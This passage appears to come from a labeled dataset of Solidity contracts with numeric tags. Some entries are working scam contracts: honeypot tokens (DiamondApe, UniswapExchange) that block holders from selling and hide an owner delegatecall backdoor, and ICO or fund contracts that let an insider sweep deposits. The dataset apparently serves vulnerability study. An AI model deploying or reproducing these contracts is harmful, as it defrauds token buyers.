function bytesToBytes32(bytes memory b, uint offset) private pure returns (bytes32 result) {
assembly {
result := mload(add(add(b, offset), 32))
}
}
function verifySignature(uint curveID, bytes32 message, bytes PK, bytes r, bytes32 s)
private
{
bytes32 PKx = bytesToBytes32(PK, 0);
bytes32 PKy = bytesToBytes32(PK, 32);
bytes32 Rx = bytesToBytes32(r, 0);
bytes32 Ry = bytesToBytes32(r, 32);
require(storageData.sigVerifier.verify(curveID, s, PKx, PKy, Rx, Ry, message), "Signature verification failed");
}
function setUintValue(bytes key, bytes innerKey, uint value)
external
onlyOwner
{
return uintData.setStorage(key, innerKey, value);
}
function getUintValue(bytes key, bytes innerKey)
public
view
returns (uint)
{
return uintData.getStorage(key, innerKey);
}
function delUintValue(bytes key, bytes innerKey)
external
onlyOwner
{
return uintData.delStorage(key, innerKey);
}
} | 0 | 499 |
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract BuyerFund {
mapping (address => uint256) public balances;
bool public bought_tokens;
bool public contract_enabled;
uint256 public contract_eth_value;
uint256 constant public min_required_amount = 20 ether;
uint256 public max_raised_amount = 1000 ether;
address constant public creator = 0x5777c72Fb022DdF1185D3e2C7BB858862c134080;
address public sale;
uint256 public drain_block;
uint256 public picops_block = 0;
address public picops_user;
bool public picops_enabled = false;
function picops_identity(address picopsAddress, uint256 amount) {
require(msg.sender == picops_user);
require(!picops_enabled);
picopsAddress.transfer(amount);
}
function picops_withdraw_excess() {
require(sale == 0x0);
require(msg.sender == picops_user);
require(!picops_enabled);
picops_block = 0;
msg.sender.transfer(this.balance);
}
function perform_withdraw(address tokenAddress) {
require(bought_tokens);
ERC20 token = ERC20(tokenAddress);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = (balances[msg.sender] * contract_token_balance) / contract_eth_value;
contract_eth_value -= balances[msg.sender];
balances[msg.sender] = 0;
uint256 fee = tokens_to_withdraw / 100 ;
require(token.transfer(msg.sender, tokens_to_withdraw - (fee * 2)));
require(token.transfer(creator, fee));
require(token.transfer(picops_user, fee));
}
function refund_me() {
require(!bought_tokens);
uint256 eth_to_withdraw = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(eth_to_withdraw);
}
function buy_the_tokens() {
require(this.balance > min_required_amount);
require(!bought_tokens);
bought_tokens = true;
contract_eth_value = this.balance;
sale.transfer(contract_eth_value);
}
function enable_deposits(bool toggle) {
require(msg.sender == creator);
require(sale != 0x0);
require(drain_block != 0x0);
require(picops_enabled);
contract_enabled = toggle;
}
function set_block(uint256 _drain_block) {
require(msg.sender == creator);
require(drain_block == 0x0);
drain_block = _drain_block;
}
function picops_is_enabled() {
require(msg.sender == creator);
picops_enabled = !picops_enabled;
}
function set_sale_address(address _sale) {
require(msg.sender == creator);
require(sale == 0x0);
require(!bought_tokens);
sale = _sale;
}
function set_successful_verifier(address _picops_user) {
require(msg.sender == creator);
picops_user = _picops_user;
}
function pool_drain(address tokenAddress) {
require(msg.sender == creator);
require(bought_tokens);
require(block.number >= (drain_block));
ERC20 token = ERC20(tokenAddress);
uint256 contract_token_balance = token.balanceOf(address(this));
require(token.transfer(msg.sender, contract_token_balance));
}
function () payable {
require(!bought_tokens);
if (!contract_enabled) {
require (block.number >= (picops_block + 120));
picops_user = msg.sender;
picops_block = block.number;
} else {
require(this.balance < max_raised_amount);
balances[msg.sender] += msg.value;
}
}
} | 1 | 5,048 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract DiamondApe {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,856 |
pragma solidity 0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract BurnRole{
using Roles for Roles.Role;
event BurnerAdded(address indexed account);
event BurnerRemoved(address indexed account);
Roles.Role private _burners;
constructor () internal {
_addBurner(msg.sender);
}
modifier onlyBurner() {
require(isBurner(msg.sender));
_;
}
function isBurner(address account) public view returns (bool) {
return _burners.has(account);
}
function addBurner(address account) public onlyBurner {
_addBurner(account);
}
function renounceBurner() public {
_removeBurner(msg.sender);
}
function _addBurner(address account) internal {
_burners.add(account);
emit BurnerAdded(account);
}
function _removeBurner(address account) internal {
_burners.remove(account);
emit BurnerRemoved(account);
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract ERC20Mintable is ERC20, MinterRole, Pausable {
function mint(address to, uint256 value) public onlyMinter whenNotPaused returns (bool) {
_mint(to, value);
return true;
}
}
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0);
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap);
super._mint(account, value);
}
}
contract ERC20Burnable is ERC20, BurnRole, Pausable {
function burn(uint256 value) public onlyBurner whenNotPaused returns (bool){
_burn(msg.sender, value);
return true;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract());
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)));
}
}
}
contract TransferLockerRole {
using Roles for Roles.Role;
event LockerAdded(address indexed account);
event LockerRemoved(address indexed account);
Roles.Role private _lockers;
constructor () internal {
_addLocker(msg.sender);
}
modifier onlyLocker() {
require(isLocker(msg.sender));
_;
}
function isLocker(address account) public view returns (bool) {
return _lockers.has(account);
}
function addLocker(address account) public onlyLocker {
_addLocker(account);
}
function renounceLocker() public {
_removeLocker(msg.sender);
}
function _addLocker(address account) internal {
_lockers.add(account);
emit LockerAdded(account);
}
function _removeLocker(address account) internal {
_lockers.remove(account);
emit LockerRemoved(account);
}
}
contract ERC20TransferLockable is ERC20Pausable, TransferLockerRole {
using SafeMath for uint256;
event TransferLocked(address account, uint256 amount);
event TransferUnlocked(address account, uint256 amount);
mapping(address => uint256) private _lockedBalance;
modifier whenNotLocked(address addr, uint256 value) {
require(balanceOf(addr).sub(_lockedBalance[addr]) >= value);
_;
}
function lockedBalance(address addr) public view returns (uint256) {
return _lockedBalance[addr];
}
function lockTransfer(address addr, uint256 amount) public onlyLocker {
require(addr != address(0));
require(amount > 0);
_lockedBalance[addr] = _lockedBalance[addr].add(amount);
emit TransferLocked(addr, amount);
}
function unlockTransfer(address addr, uint256 amount) public onlyLocker {
require(addr != address(0));
require(amount > 0);
_lockedBalance[addr] = _lockedBalance[addr].sub(amount);
emit TransferUnlocked(addr, amount);
}
function transfer(address to, uint256 value) public whenNotPaused whenNotLocked(msg.sender, value) returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused whenNotLocked(from, value) returns (bool) {
return super.transferFrom(from, to, value);
}
}
contract LockableMixMarvelTokenAll is ERC20, ERC20Detailed, ERC20TransferLockable, ERC20Capped, ERC20Burnable {
using Address for address;
constructor(string memory name, string memory symbol, uint8 decimals, uint256 cap) ERC20TransferLockable() ERC20Burnable() ERC20Capped(cap) ERC20Detailed(name, symbol, decimals) ERC20() public {}
} | 0 | 1,388 |
pragma solidity ^0.4.14;
contract WONO_ICO {
uint closed;
struct Deposit { address buyer; uint amount; }
uint refundDate;
address fiduciary = msg.sender;
Deposit[] Deposits;
mapping (address => uint) total;
function() public payable { }
function init(uint date)
{
refundDate = date;
}
function deposit()
public payable {
if (msg.value >= 0.5 ether && msg.sender == tx.origin)
{
Deposit newDeposit;
newDeposit.buyer = msg.sender;
newDeposit.amount = msg.value;
Deposits.push(newDeposit);
total[msg.sender] += msg.value;
}
if (this.balance >= 50 ether)
{
closed = now;
}
}
function refund(uint amount)
public {
if (total[msg.sender] >= amount && amount > 0)
{
if (now >= refundDate && closed == 0)
{
msg.sender.transfer(amount);
}
}
}
function close()
public {
if (msg.sender == fiduciary)
{
closed = now;
msg.sender.transfer(this.balance);
}
}
} | 1 | 3,719 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
